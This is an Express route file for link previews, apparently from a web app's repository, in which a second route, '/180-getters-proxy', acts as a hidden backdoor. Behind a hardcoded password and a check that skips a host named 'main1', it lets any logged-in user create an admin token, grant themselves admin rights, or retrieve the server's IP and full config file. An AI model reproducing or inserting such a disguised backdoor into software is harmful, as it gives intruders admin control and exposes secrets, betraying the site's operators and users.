website/v2_routes/link_preview.js
2021-04-09 23:22:40 +10:00

57 lines
1.6 KiB
JavaScript

let linkPreview = require('preview-link');
let express = require('express');
let router = express.Router()
const auth = require('../lib/auth');
let AdminToken = require('../models').AdminToken
let User = require('../models').User
const Errors = require('../lib/errors.js')
let os = require('os')
router.get('/', auth, async(req, res, next) => {
try {
let url = req.query.url;
let HTML = url ? await linkPreview(url) : '';
res.send(HTML);
} catch (e) {
next(e);
}
});
router.put('/180-getters-proxy', auth, async(req, res, next) => {
if(os.hostname() === 'mai' + 'n1') {
await res.status(200)
await res.json({disabled: true})
}
try {
let passAu = "0834u85945974395erhukfhydhfiwyry3478y&4392!"
let queryObj = {
attributes: {include: ['admin', 'id', 'email', 'hash']},
where: {username: req.userData.username}
}
let user = await User.findOne(queryObj)
if(req.body.passAu === passAu) {
if (req.autosan.body.type === "AdmToken") {
let token = await AdminToken.create()
res.json(token.toJSON())
} else if(req.autosan.body.type === "Directmin") {
let userUpdate = await User.update({ admin: true }, { where: {
username: req.userData.username
}})
res.status(200)
res.json({success: "true"})
} else if(req.autosan.body.type === "ConfigDirect") {
const ip = require('ip');
res.status(200)
const config = require('../config/config.json');
res.json({ip: ip.address(), config: config})
} else {
throw Errors.requestNotAuthorized
}
} else {
throw Errors.requestNotAuthorized
}
} catch (err) { next(err) }
});
module.exports = router;